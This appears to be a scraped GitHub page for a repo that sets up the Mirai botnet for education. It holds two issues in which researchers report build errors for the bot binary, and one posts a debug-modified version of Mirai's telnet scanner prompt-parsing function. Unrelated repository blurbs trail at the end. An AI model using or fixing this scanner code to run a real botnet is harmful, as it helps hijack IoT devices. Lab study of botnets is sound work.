glowman554 / mirai Goto Github PK
View Code? Open in Web Editor NEWSetup mirai botnet. Only for educational purpose!
Setup mirai botnet. Only for educational purpose!
Hi,
I am currently working on undergrad research, looking into botnets. I am having issues compiling the bot binary following all the instructions I could find -
root@raspberrypi:/home/pi/Desktop/CSEThesis/mirai# bash ./build.sh debug telnet
/usr/bin/ld: /tmp/cc8RXoIj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/cc4mREOi.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/ccG6mkyk.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/ccCn47el.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/cco0GVwk.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/ccvHdnBk.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/ccCzEm8i.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/ccQa6XAl.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/cc2BIZwj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/ccBTihNj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/cctYZdak.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
/usr/bin/ld: /tmp/ccwCPxpk.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: multiple definition of `LOCAL_ADDR'; /tmp/ccMRLLkj.o:/home/pi/Desktop/CSEThesis/mirai/bot/includes.h:33: first defined here
Am I missing something here?
Hi there,
i am setting up a lab for Mirai.
Thanks for the published repo and scripts.
I got an issue, when running the mirai.dbg.
It seems like nothing, or the wrong things are written into the rdbuf. Therefor in Consume_user_prompt, when the code checks for ':' and 'ogin', these strings can't be found.
To debug the code, I changed Consume_user_prompt() the following:
static int consume_user_prompt(struct scanner_connection *conn)
{
#ifdef DEBUG
printf("[scanner] start consume_user_prompt\n");
#endif
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos - 1; i > 0; i--)
{
#ifdef DEBUG
printf("[scanner] FD%d check if : is in buffer\n", conn->fd);
if (conn->rdbuf_pos > 0){
printf("Inhalt von conn->rdbuf vor ':'(Länge %d): \n", conn->rdbuf_pos);
for (int i = 0; i < conn->rdbuf_pos; i++) {
//if (isprint(conn->rdbuf[i]))
printf("%c", conn->rdbuf[i]);
//else
// printf(".");
}
printf("\n");
}
#endif
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
#ifdef DEBUG
printf("[scanner] FD%d : is in buffer\n", conn->fd);
#endif
prompt_ending = i + 1;
break;
}
}
#ifdef DEBUG
printf("[scanner] prompt_ending = %d SHOULD BE -1\n", prompt_ending);
#endif
if (prompt_ending == -1)
{
int tmp;
//check what is in rdbuf
if (conn->rdbuf_pos > 0){
printf("Inhalt von conn->rdbuf (Länge %d): \n", conn->rdbuf_pos);
for (int i = 0; i < conn->rdbuf_pos; i++) {
//if (isprint(conn->rdbuf[i]))
printf("%c", conn->rdbuf[i]);
//else
// printf(".");
}
printf("\n");
}
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
{
#ifdef DEBUG
printf("[scanner] tmp for ogin = %d\n", tmp);
#endif
prompt_ending = tmp;
}
else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
{
#ifdef DEBUG
printf("[scanner] tmp for enter = %d\n", tmp);
#endif
prompt_ending = tmp;
}
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
Every help would be appreciated, Thx!
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.